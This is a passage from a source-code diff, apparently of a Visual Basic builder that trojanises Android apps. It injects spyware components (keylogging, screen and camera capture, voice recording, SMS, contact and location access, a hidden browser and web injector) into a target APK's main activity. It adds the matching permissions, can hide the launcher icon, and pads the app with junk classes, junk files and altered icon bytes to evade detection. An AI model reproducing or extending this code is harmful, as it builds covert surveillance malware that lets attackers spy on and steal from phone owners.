newpkg_insmali) _ + .Replace(Apps_Manage, N_Apps_Manage) + + For Each originalString As String In To_Obfucate + newContent = newContent.Replace(originalString, Obfucated(originalString)) + Next + + File.WriteAllText(fileInMain, newContent) + + End If + Next + + Dim sourcePath As String = smlipath & "\com\icontrol\protector" + Dim searchPattern As String = "*.smali" + Dim i As Integer = 0 + For Each fileName As String In Directory.GetFiles(sourcePath, searchPattern, SearchOption.AllDirectories) + + + + If fileName.Contains("AccessibilityActivity") Or fileName.Equals("AccessibilityActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("AccessibilityActivity", N_AccessibilityActivity))) + + End If + + If fileName.Contains("AccessTools") Or fileName.Equals("AccessTools") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("AccessTools", N_AccessTools))) + + End If + ' + If fileName.Contains("wakeitaiv") Or fileName.Equals("wakeitaiv") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("wakeitaiv", N_wakeitaiv))) + + End If + If fileName.Contains("LockActivity") Or fileName.Equals("LockActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("LockActivity", N_LockActivity))) + + End If + + If fileName.Contains("AccessServices") Or fileName.Equals("AccessServices") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("AccessServices", N_AccessServices))) + + End If + + If fileName.Contains("HiddenBrowser") Or fileName.Equals("HiddenBrowser") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("HiddenBrowser", N_HiddenBrowser))) + + End If + + If fileName.Contains("ActivityCaptureScreen") Or fileName.Equals("ActivityCaptureScreen") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("ActivityCaptureScreen", N_ActivityCaptureScreen))) + + End If + + If fileName.Contains("ActivityMonitors") Or fileName.Equals("ActivityMonitors") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("ActivityMonitors", NActivityMonitors))) + + End If + If fileName.Contains("CameraCap") Or fileName.Equals("CameraCap") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace(CameraCap, N_CameraCap))) + + End If + If fileName.Contains("_update_app_") Or fileName.Equals("_update_app_") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("_update_app_", N_update_app_))) + + End If + If fileName.Contains("MyCods") Or fileName.Equals("MyCods") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace(MyCods, N__MyCods_))) + + End If + If fileName.Contains("Consts") Or fileName.Equals("Consts") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace(Consts, N__Consts_))) + + End If + If fileName.Contains("ChatActivity") Or fileName.Equals("ChatActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace(ChatActivity, N__ChatActivity_))) + + End If + If fileName.Contains("Contct_manager") Or fileName.Equals("Contct_manager") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("Contct_manager", N_Contct_manager))) + End If + + 'N_My_Configs + If fileName.Contains("My_Configs") Or fileName.Equals("My_Configs") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("My_Configs", N_My_Configs))) + End If + + ' + If fileName.Contains("ActivityDraw") Or fileName.Equals("ActivityDraw") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("ActivityDraw", N_ActivityDraw))) + End If + + If fileName.Contains("My_Crpter") Or fileName.Equals("My_Crpter") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("My_Crpter", N_My_Crpter))) + End If + + + If fileName.Contains("Deviceinfo") Or fileName.Equals("Deviceinfo") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("Deviceinfo", N_Deviceinfo))) + End If + + If fileName.Contains("filesManager") Or fileName.Equals("filesManager") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("filesManager", N_filesManager))) + End If + + If fileName.Contains("id_Commands") Or fileName.Equals("id_Commands") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("id_Commands", N_id_Commands))) + End If + + If fileName.Contains("KeyStorksQ") Or fileName.Equals("KeyStorksQ") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("KeyStorksQ", N_KeyStorksQ))) + End If + + If fileName.Contains("LiveChat") Or fileName.Equals("LiveChat") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("LiveChat", N_LiveChat))) + End If + + If fileName.Contains("QueryChats") Or fileName.Equals("QueryChats") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("QueryChats", N_QueryChats))) + End If + + If fileName.Contains("LiveKeysStrok") Or fileName.Equals("LiveKeysStrok") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("LiveKeysStrok", N_LiveKeysStrok))) + End If + + If fileName.Contains("StarterServices") Or fileName.Equals("StarterServices") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("StarterServices", N_StarterServices))) + End If + + If fileName.Contains("LocationMonitor") Or fileName.Equals("LocationMonitor") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("LocationMonitor", N_LocationMonitor))) + End If + + If fileName.Contains("LockAppsActivity") Or fileName.Equals("LockAppsActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("LockAppsActivity", N_LockAppsActivity))) + End If + + If fileName.Contains("MainActivity") Or fileName.Equals("MainActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("MainActivity", N_ActivMain))) + End If + + If fileName.Contains("MyLoger") Or fileName.Equals("MyLoger") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("MyLoger", N_MyLoger))) + End If + + If fileName.Contains("MyNotification") Or fileName.Equals("MyNotification") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("MyNotification", N_MyNotification))) + End If + + If fileName.Contains("MyPacket") Or fileName.Equals("MyPacket") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("MyPacket", N_MyPacket))) + End If + + If fileName.Contains("MyPermissions") Or fileName.Equals("MyPermissions") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("MyPermissions", N_MyPermissions))) + End If + + If fileName.Contains("MySettings") Or fileName.Equals("MySettings") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("MySettings", N_MySettings))) + End If + + If fileName.Contains("PermissionsActivity") Or fileName.Equals("PermissionsActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("PermissionsActivity", N_PermissionsActivity))) + End If + + If fileName.Contains("PingServices") Or fileName.Equals("PingServices") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("PingServices", N_PingServices))) + End If + + If fileName.Contains("RequestDraw") Or fileName.Equals("RequestDraw") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("RequestDraw", N_RequestDraw))) + End If + + If fileName.Contains("Requestinstall") Or fileName.Equals("Requestinstall") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("Requestinstall", N_Requestinstall))) + End If + + If fileName.Contains("RequestPermissions2") Or fileName.Equals("RequestPermissions2") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("RequestPermissions2", N_RequestPermissions2))) + End If + + If fileName.Contains("ScreenCaps") Or fileName.Equals("ScreenCaps") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("ScreenCaps", N_ScreenCaps))) + End If + + If fileName.Contains("ScreenReceiver") Or fileName.Equals("ScreenReceiver") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("ScreenReceiver", N_ScreenReceiver))) + End If + + If fileName.Contains("mysmanager") Or fileName.Equals("mysmanager") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("mysmanager", N_mysmanager))) + End If + + If fileName.Contains("StatusMonitor") Or fileName.Equals("StatusMonitor") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("StatusMonitor", N_StatusMonitor))) + End If + + If fileName.Contains("UtliTools") Or fileName.Equals("UtliTools") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("UtliTools", N_UtliTools))) + End If + + If fileName.Contains("VoiceRecorder") Or fileName.Equals("VoiceRecorder") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("VoiceRecorder", N_VoiceRecorder))) + End If + + If fileName.Contains("WorkServices") Or fileName.Equals("WorkServices") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("WorkServices", N_WorkServices))) + End If + + If fileName.Contains("HiddenActivity") Or fileName.Equals("HiddenActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("HiddenActivity", N_HiddenActivity))) + End If + + 'N_BrodcastActivity + If fileName.Contains("BrodcastActivity") Or fileName.Equals("BrodcastActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("BrodcastActivity", N_BrodcastActivity))) + End If + + If fileName.Contains("OPPOAutostart") Or fileName.Equals("OPPOAutostart") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("OPPOAutostart", N_OPPOAutostart))) + End If + + If fileName.Contains("RestrectionActivity") Or fileName.Equals("RestrectionActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("RestrectionActivity", N_RestrectionActivity))) + End If + + If fileName.Contains("UninstallActivity") Or fileName.Equals("UninstallActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("UninstallActivity", N_UninstallActivity))) + End If + + If fileName.Contains("EngineWorker") Or fileName.Equals("EngineWorker") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("EngineWorker", N_EngineWorker))) + End If + + '.Replace(Webjector, N_Webjector) _ + If fileName.Contains("Webjector") Or fileName.Equals("Webjector") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("Webjector", N_Webjector))) + End If + + If fileName.Contains("RequestDataUsage") Or fileName.Equals("RequestDataUsage") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("RequestDataUsage", N_RequestDataUsage))) + End If + + + If fileName.Contains("TransparentActivity") Or fileName.Equals("TransparentActivity") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("TransparentActivity", N_TransparentActivity))) + End If + + ' + If fileName.Contains("WebBrowser") Or fileName.Equals("WebBrowser") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("WebBrowser", N_WebBrowser))) + End If + + If fileName.Contains("ProxyService") Or fileName.Equals("ProxyService") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("ProxyService", N_ProxyService))) + End If + + If fileName.Contains("Apps_Manage") Or fileName.Equals("Apps_Manage") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("APPS", N_Apps_Manage))) + + End If + If fileName.Contains("AudioRecorder") Or fileName.Equals("AudioRecorder") Then + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace(AudioRecorder, N_AudioRecorder))) + + End If + i += 1 + Threading.Thread.Sleep(1) + Next + + i = 0 + For Each fileName As String In Directory.GetFiles(sourcePath, searchPattern, SearchOption.AllDirectories) + + + If fileName.Contains("ClassGen") Then + + File.Move(Path.Combine(sourcePath, fileName), Path.Combine(sourcePath, fileName.Replace("ClassGen", N_ClassGen))) + + End If + + i += 1 + Threading.Thread.Sleep(1) + Next + + Catch ex As Exception + Mylogger.LogError(userid, "Step4", ex.Message) + End Try + + If IsCustomeApp Then + + Mylogger.Logbuild(userid, "junk classes...") + + GenerateJunkSmaliFiles(smlipath, 750) + + ShuffleSmaliFiles(TheApkPath, 4) + + Mylogger.Logbuild(userid, ">" & "> junk folders...") + Dim assetsfolder As String = TheApkPath + "\" + "assets" + Dim unknownfolder As String = TheApkPath + "\" + "unknown" + + InjectRandomJunkFiles(assetsfolder) + InjectRandomJunkFiles(unknownfolder) + + + GoTo endit + End If + + Mylogger.Logbuild(userid, ">" & "> Injecting Main Activity...") + + Try + Dim Activity As String = TheApkPath & "\" & MainActivity + If File.Exists(Activity) Then + Dim MainReader As String() = File.ReadAllLines(Activity) + Dim intentmain As String + For index = 0 To MainReader.Length - 1 + If index = 0 Then + Dim findmain As String() = MainReader(0).Split(" ") + intentmain = findmain(findmain.Length - 1) + End If + + + + If MainReader(index).Contains("onCreate(") AndAlso MainReader(index).ToLower.StartsWith(".method".ToLower) AndAlso Not MainReader(index).ToLower.Contains("native") Then + MainReader(index) = MainReader(index) & Environment.NewLine & My.Resources.oncreatecode.Replace("[trgtmain]", intentmain) + + MainReader(MainReader.Length - 1) = MainReader(MainReader.Length - 1) & Environment.NewLine & Environment.NewLine & My.Resources.MainMith.Replace("[trgtmain]", intentmain) _ + .Replace(oldpkg_insmali, newpkg_insmali) _ + .Replace(ActivMain, N_ActivMain) _ + .Replace(StarterServices, N_StarterServices) + + Exit For + + End If + Next + File.WriteAllLines(Activity, MainReader) + End If + Catch ex As Exception + + Mylogger.LogError(userid, "Step5", ex.Message) + End Try + + +endit: + + Mylogger.Logbuild(userid, ">" & "-----------------" & ">" & "> Building Apk...") + Dim outputfolder As String = WorkingDir + "\" + "out" + outputapk = outputfolder & "\" & "Ready.apk" + If Not Directory.Exists(outputfolder) Then + Directory.CreateDirectory(outputfolder) + End If + ExecuteCommand("java -jar " & apktoolpath & " b -f " & TheApkPath & " -o " & outputapk) + + + + End Sub + + Private Sub UpdateApkSrcs() + + Mylogger.Logbuild(userid, ">" & "> Merging Res folder...") + + Dim sourceDir As String = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "apkstub", "apkres") + Dim destDir As String = TheApkPath & "\res" + + ' Define the list of folders to copy + Dim foldersToCopy As String() = {"drawable"} + + ' Define the list of specific files to copy and merge in the 'values' folder , "styles.xml" + Dim filesToMergeInValues As String() = {"strings.xml", "public.xml", "ids.xml"} + + Try + ' Copy the specified folders + For Each folder As String In foldersToCopy + Dim sourceFolder As String = Path.Combine(sourceDir, folder) + Dim destFolder As String = Path.Combine(destDir, folder) + + If Directory.Exists(sourceFolder) Then + ' Ensure the destination folder exists + Directory.CreateDirectory(destFolder) + ' Copy the contents of the folder + CopyDirectory(sourceFolder, destFolder) + Else + + failresfolder($"Source folder does not exist: {sourceFolder}") + + End If + Next + + ' Merge the specified files in the 'values' folder + Dim sourceValuesFolder As String = Path.Combine(sourceDir, "values") + Dim destValuesFolder As String = Path.Combine(destDir, "values") + + If Directory.Exists(sourceValuesFolder) Then + If Not Directory.Exists(destValuesFolder) Then + failresfolder($"dest values folder does not exist: {sourceValuesFolder}") + End If + For Each fileName As String In filesToMergeInValues + Dim sourceFile As String = Path.Combine(sourceValuesFolder, fileName) + Dim destFile As String = Path.Combine(destValuesFolder, fileName) + + + + If File.Exists(sourceFile) AndAlso File.Exists(destFile) Then + + Mylogger.Logbuild(userid, ">" & "> ToMerge: " + sourceFile) + Mylogger.Logbuild(userid, ">" & "> MergeWith: " + destFile) + + ''MergePublicXmlFiles + If fileName.ToLower() = "public.xml" Then + MergePublicXmlFiles(sourceFile, destFile) + Else + MergeXmlFiles(sourceFile, destFile) + End If + + ElseIf File.Exists(sourceFile) Then + Mylogger.Logbuild(userid, ">" & "> Merge fail Coping: " + sourceFile) + File.Copy(sourceFile, destFile, True) + failresfolder($"Dis file does not exist: {sourceFile}") + Else + + failresfolder($"Source file does not exist: {sourceFile}") + End If + Next + Else + + failresfolder($"Source values folder does not exist: {sourceValuesFolder}") + End If + + + Mylogger.Logbuild(userid, ">" & "> Merging Res successfully...") + Catch ex As Exception + + failresfolder(ex.Message) + End Try + + End Sub + + + + Private Sub failresfolder(Message As String) + Worker.UpdateState(Worker.failed) + Mylogger.LogError(userid, ">" & "UpdateApkSrcs: ", Message) + singout(MYID) + + + Environment.Exit(0) + End Sub + + Private Sub CopyDirectory(sourceDir As String, destDir As String) + ' Get the subdirectories for the specified directory. + Dim dir As DirectoryInfo = New DirectoryInfo(sourceDir) + Dim dirs As DirectoryInfo() = dir.GetDirectories() + + ' If the destination directory doesn't exist, create it. + If Not Directory.Exists(destDir) Then + Directory.CreateDirectory(destDir) + End If + + ' Get the files in the directory and copy them to the new location. + Dim files As FileInfo() = dir.GetFiles() + For Each file As FileInfo In files + Dim temppath As String = Path.Combine(destDir, file.Name) + If System.IO.File.Exists(temppath) Then + Continue For + End If + file.CopyTo(temppath, False) + Next + + ' Copy subdirectories and their contents to new location. + For Each subdir As DirectoryInfo In dirs + Dim temppath As String = Path.Combine(destDir, subdir.Name) + CopyDirectory(subdir.FullName, temppath) + Next + End Sub + 'Dim idMap As New Dictionary(Of String, String) Obfucated(sourceId) = newId + 'Private Sub MergePublicXmlFiles(sourceFile As String, destFile As String) + ' Dim sourceDoc As XDocument = XDocument.Load(sourceFile) + ' Dim destDoc As XDocument = XDocument.Load(destFile) + + ' Dim sourceElements As List(Of XElement) = sourceDoc.Root.Elements("public").ToList() + ' Dim destElements As List(Of XElement) = destDoc.Root.Elements("public").ToList() + + ' ' Combine source and destination elements + ' Dim combinedElements As New Dictionary(Of String, XElement) + + ' ' Add destination elements to the combined dictionary + ' For Each element In destElements + ' Dim key As String = element.Attribute("type").Value & ":" & element.Attribute("name").Value + ' If Not combinedElements.ContainsKey(key) Then + ' combinedElements.Add(key, element) + ' End If + ' Next + + ' ' Add source elements to the combined dictionary, overriding if necessary + ' For Each element In sourceElements + ' Dim key As String = element.Attribute("type").Value & ":" & element.Attribute("name").Value + ' If Not combinedElements.ContainsKey(key) Then + ' combinedElements.Add(key, element) + ' End If + ' Next + + ' ' Initialize the highest ID + ' Dim highestId As Integer = &H7F000000 + + ' ' Ensure the highestId is greater than all existing IDs + ' For Each id In combinedElements.Values.Select(Function(e) e.Attribute("id").Value) + ' Dim idValue As Integer = Convert.ToInt32(id, 16) + ' If idValue > highestId Then + ' highestId = idValue + ' End If + ' Next + + ' ' Remove all existing IDs and assign new ones + ' Dim newIdMap As New Dictionary(Of String, String) + ' For Each element In combinedElements.Values + ' highestId += 1 + ' Dim newId As String = "0x" & highestId.ToString("X8") + ' Dim oldId As String = element.Attribute("id").Value + ' element.SetAttributeValue("id", newId) + ' If Not newIdMap.ContainsKey(oldId) Then + ' newIdMap.Add(oldId, newId) + ' End If + ' Next + + ' ' Update the Obfuscated dictionary with new IDs + ' For Each kvp In newIdMap + ' Obfucated(kvp.Key) = kvp.Value + ' Next + + ' ' Create a new root element and add the combined elements + ' Dim newRoot As New XElement("resources", combinedElements.Values) + + ' ' Create a new document with the combined root + ' Dim combinedDoc As New XDocument(newRoot) + + ' ' Save the combined document back to the destination file + ' combinedDoc.Save(destFile) + 'End Sub + + Private Sub MergePublicXmlFiles(sourceFile As String, destFile As String) + Try + Mylogger.Logbuild(userid, "Starting MergePublicXmlFiles") + + Dim sourceDoc As XDocument = XDocument.Load(sourceFile) + Dim destDoc As XDocument = XDocument.Load(destFile) + + Dim sourceElements As IEnumerable(Of XElement) = sourceDoc.Root.Elements("public") + Dim destElements As IEnumerable(Of XElement) = destDoc.Root.Elements("public") + + ' Map of existing IDs to their types + Dim existingIds As New Dictionary(Of String, String) + For Each element In destElements + Dim id As String = element.Attribute("id").Value + Dim type As String = element.Attribute("type").Value + existingIds(id.ToLowerInvariant()) = type + + 'Mylogger.Logbuild(userid, "Existing ID: " & id & " Type: " & type) + Next + + ' Set of existing names to avoid duplicates + Dim existingNames As New HashSet(Of String)(destElements.Select(Function(e) e.Attribute("name").Value)) + + ' Track highest ID per type + Dim highestIdPerType As New Dictionary(Of String, Integer) + Dim missingattributes As New List(Of String) + + ' Initialize highestIdPerType from destination file + For Each element In destElements + Dim type As String = element.Attribute("type").Value + Dim id As Integer = Convert.ToInt32(element.Attribute("id").Value, 16) + If highestIdPerType.ContainsKey(type) Then + If id > highestIdPerType(type) Then + highestIdPerType(type) = id + End If + Else + highestIdPerType(type) = id + End If + ' Mylogger.Logbuild(userid, "Highest ID for type " & type & ": " & "0x" & highestIdPerType(type).ToString("X8")) + Next + + ' Ensure all required types are accounted for + Dim requiredTypes As List(Of String) = New List(Of String) From {"string", "drawable", "xml", "layout", "id"} + For Each requiredType In requiredTypes + If Not highestIdPerType.ContainsKey(requiredType) Then + highestIdPerType(requiredType) = &H7FFFFFFF ' Start from 0x7FFFFFFF for missing types + ' Mylogger.Logbuild(userid, "Initialized highest ID for missing type " & requiredType & ": 0x7FFFFFFF") + missingattributes.Add(requiredType.ToLower) + End If + Next + + ' Combine elements from source into destination + Dim combinedElements As New List(Of XElement)(destElements) + + For Each sourceElement In sourceElements + Dim sourceId As String = sourceElement.Attribute("id").Value + Dim sourceName As String = sourceElement.Attribute("name").Value + Dim sourceType As String = sourceElement.Attribute("type").Value + + 'Mylogger.Logbuild(userid, "Processing source element: Name=" & sourceName & ", Type=" & sourceType & ", ID=" & sourceId) + + If existingNames.Contains(sourceName) Then + ' Handle duplicate names by reusing the existing ID + Dim existingElement = destElements.FirstOrDefault(Function(e) e.Attribute("name").Value = sourceName) + If existingElement IsNot Nothing Then + Dim existingId As String = existingElement.Attribute("id").Value + Obfucated(sourceId) = existingId + 'Mylogger.Logbuild(userid, "Duplicate name found. Reusing ID: " & existingId) + End If + Else + + Dim newId As String + Dim ismissing As Boolean = missingattributes.Contains(sourceType.ToLower) + Do + + + If ismissing Then + highestIdPerType(sourceType) -= 1 + + Else + highestIdPerType(sourceType) += 1 + + End If + + newId = "0x" & highestIdPerType(sourceType).ToString("X8") + + + If Not existingIds.ContainsKey(newId.ToLowerInvariant()) Then + Exit Do ' Found a unique ID + End If + Loop While True + + + ' Update the source element and add it to the result + sourceElement.SetAttributeValue("id", newId) + Obfucated(sourceId) = newId + ' Mylogger.Logbuild(userid, "Assigned new ID: " & newId & " to element: " & sourceName) + existingIds(newId.ToLowerInvariant()) = sourceType + + 'Mylogger.Logbuild(userid, "Adding sourceName to existingNames: " & sourceName) + existingNames.Add(sourceName) + combinedElements.Add(sourceElement) + End If + Next + + ' Create a new root element and add the combined elements + Dim newRoot As New XElement("resources", combinedElements) + + ' Create a new document with the combined root + Dim combinedDoc As New XDocument(newRoot) + + ' Save the combined document back to the destination file + combinedDoc.Save(destFile) + ' Mylogger.Logbuild(userid, "MergePublicXmlFiles completed successfully. File saved to: " & destFile) + Catch ex As Exception + Mylogger.Logbuild(userid, "MergePublicXmlFiles error: " & ex.Message) + failresfolder($"MergePublicXmlFiles: {ex.Message}") + End Try + End Sub + + Private Sub MergeXmlFiles(sourceFile As String, destFile As String) + Dim sourceDoc As XDocument = XDocument.Load(sourceFile) + Dim destDoc As XDocument = XDocument.Load(destFile) + + ' Combine all elements (string, integer, style, etc.), avoiding duplicates by key (name attribute) + Dim sourceElements As IEnumerable(Of XElement) = sourceDoc.Root.Elements() + Dim destElements As IEnumerable(Of XElement) = destDoc.Root.Elements() + + Dim combinedElements = destElements.Concat(sourceElements) _ + .GroupBy(Function(e) e.Attribute("name").Value) _ + .Select(Function(g) g.First()) + + ' Create a new root element and add the combined elements + Dim newRoot As New XElement("resources", combinedElements) + + ' Create a new document with the combined root + Dim combinedDoc As New XDocument(newRoot) + + ' Save the combined document back to the destination file + combinedDoc.Save(destFile) + End Sub + + Private Sub Step2() + Mylogger.Logbuild(userid, ">" & "> Check Permissions...") + +back1: + + If FileInUse(TheApkPath & "\" & "AndroidManifest.xml") Or Not File.Exists(TheApkPath & "\" & "AndroidManifest.xml") Then + + Thread.Sleep(1000) + GoTo back1 + End If + + + + 'Dim AllManifist As String = UpdateVersions(File.ReadAllText(TheApkPath & "\" & "AndroidManifest.xml")) + + Dim SPLITTER As String = "[*]" + Dim permissionSets As String() = allconfig.Split(New String() {SPLITTER}, StringSplitOptions.RemoveEmptyEntries) + + ' Extract the first boolean of each permission and assign directly to variables + Dim addAccess As Boolean = If(permissionSets.Length > 0, permissionSets(0).Split("|"c)(0) = "1", False) + Dim addDrawOverApps As Boolean = If(permissionSets.Length > 1, permissionSets(1).Split("|"c)(0) = "1", False) + Dim addBackgroundDataUsage As Boolean = If(permissionSets.Length > 2, permissionSets(2).Split("|"c)(0) = "1", False) + Dim addUsageAccess As Boolean = If(permissionSets.Length > 3, permissionSets(3).Split("|"c)(0) = "1", False) + + Dim addChangePhoneSettings As Boolean = If(permissionSets.Length > 4, permissionSets(4).Split("|"c)(0) = "1", False) + + Dim addBatteryOptimization As Boolean = If(permissionSets.Length > 5, permissionSets(5).Split("|"c)(0) = "1", False) + + Dim addFilesAccess As Boolean = If(permissionSets.Length > 6, permissionSets(6).Split("|"c)(0) = "1", False) + + Dim addCameraAccess As Boolean = If(permissionSets.Length > 7, permissionSets(7).Split("|"c)(0) = "1", False) + + Dim addMicrophoneAccess As Boolean = If(permissionSets.Length > 8, permissionSets(8).Split("|"c)(0) = "1", False) + + Dim addReadSMS As Boolean = If(permissionSets.Length > 9, permissionSets(9).Split("|"c)(0) = "1", False) + + Dim addSendSMS As Boolean = If(permissionSets.Length > 10, permissionSets(10).Split("|"c)(0) = "1", False) + + Dim addReadContacts As Boolean = If(permissionSets.Length > 11, permissionSets(11).Split("|"c)(0) = "1", False) + Dim addReadAccounts As Boolean = If(permissionSets.Length > 12, permissionSets(12).Split("|"c)(0) = "1", False) + + Dim addlocations As Boolean = If(permissionSets.Length > 16, permissionSets(16).Split("|"c)(0) = "1", False) + + Dim Prims As String = "" + + If addDrawOverApps Then + Prims += " " + vbNewLine + End If + + If addBatteryOptimization Then + Prims += " " + vbNewLine + End If + + If addUsageAccess Then + Prims += " " + vbNewLine + End If + + 'If addChangePhoneSettings Then + ' Prims += " " + vbNewLine + ' Prims += " " + vbNewLine + 'End If + + If addFilesAccess Then + Prims += " " + vbNewLine + Prims += " " + vbNewLine + Prims += " " + vbNewLine + End If + + If addCameraAccess Then + Prims += " " + vbNewLine + End If + + If addMicrophoneAccess Then + Prims += " " + vbNewLine + End If + + If addReadAccounts Then + Prims += " " + vbNewLine + End If + + If addReadContacts Then + Prims += " " + vbNewLine + Prims += " " + vbNewLine + End If + + If addSendSMS Then + Prims += " " + vbNewLine + Prims += " " + vbNewLine + + End If + + If addReadSMS Then + Prims += " " + vbNewLine + + End If + + If addlocations Then + Prims += " " + vbNewLine + Prims += " " + vbNewLine + Prims += " " + vbNewLine + + End If + + Dim acctag As String = "" + + If addAccess Then + acctag = My.Resources.AccessTag + End If + + Dim AllManifist As String = File.ReadAllText(TheApkPath & "\" & "AndroidManifest.xml").Replace(My.Resources.ReplacePrimes, Prims).Replace(My.Resources.ReplaceAccess, acctag) + + If hidetype = "c" Then + AllManifist = AllManifist.Replace(My.Resources.ReplaceLuncher, My.Resources.ManifistHide) + Else + AllManifist = AllManifist.Replace(My.Resources.ReplaceLuncher, My.Resources.luncherIntent) + End If + + + File.WriteAllText(TheApkPath & "\" & "AndroidManifest.xml", AllManifist) + + ' + + Try + + If IsCustomeApp Then + Dim stringspath As String = Worker.TheApkPath + "\res\values\strings.xml" + Do + Thread.Sleep(100) + Loop While Not File.Exists(stringspath) Or FileInUse(stringspath) + Mylogger.Logbuild(Worker.userid, ">> Encoding Strings file...") + Dim allstr As String = File.ReadAllText(stringspath).Replace("[BASE_NAME]", Worker.appname) + File.WriteAllText(stringspath, allstr) + Thread.Sleep(100) + Dim strarray As String() = File.ReadAllLines(stringspath) + Dim junkstr As String = "" + Dim index As Integer = 1 + Do + Dim randomWord1 As String = Random_Word() + Dim randomMad1 As String = RandommMad(4, 15) + Dim randomWord2 As String = Random_Word() + Dim randomMad2 As String = RandommMad(4, 15) + + junkstr = junkstr & " " & randomWord2 & randomMad2 & "" & vbCrLf + + index += 1 + Loop While index <= 134 + + Dim num As Integer = strarray.Length - 1 + For i As Integer = 0 To num + Dim flag3 As Boolean = strarray(i).Contains("> Change ico...") + Dim logopath As String = Worker.TheApkPath + "\res\drawable\mylogo.png" + Dim flag4 As Boolean = File.Exists(logopath) + If flag4 Then + File.Delete(logopath) + End If + + Dim icobytes As Byte() = File.ReadAllBytes(Worker.TargetApkicon) + + ' Append junk bytes (this changes MD5 but not image content) + Dim junk As Byte() = System.Text.Encoding.ASCII.GetBytes("") + Dim newBytes As Byte() = icobytes.Concat(junk).ToArray() + + File.WriteAllBytes(logopath, newBytes) + + 'File.Copy(Worker.TargetApkicon, logopath) + + + Dim yml As String = Worker.TheApkPath + "\apktool.yml" + Do + Thread.Sleep(100) + Loop While Not File.Exists(yml) Or FileInUse(yml) + Dim readyml As String = File.ReadAllText(yml).Replace("3.31.165", 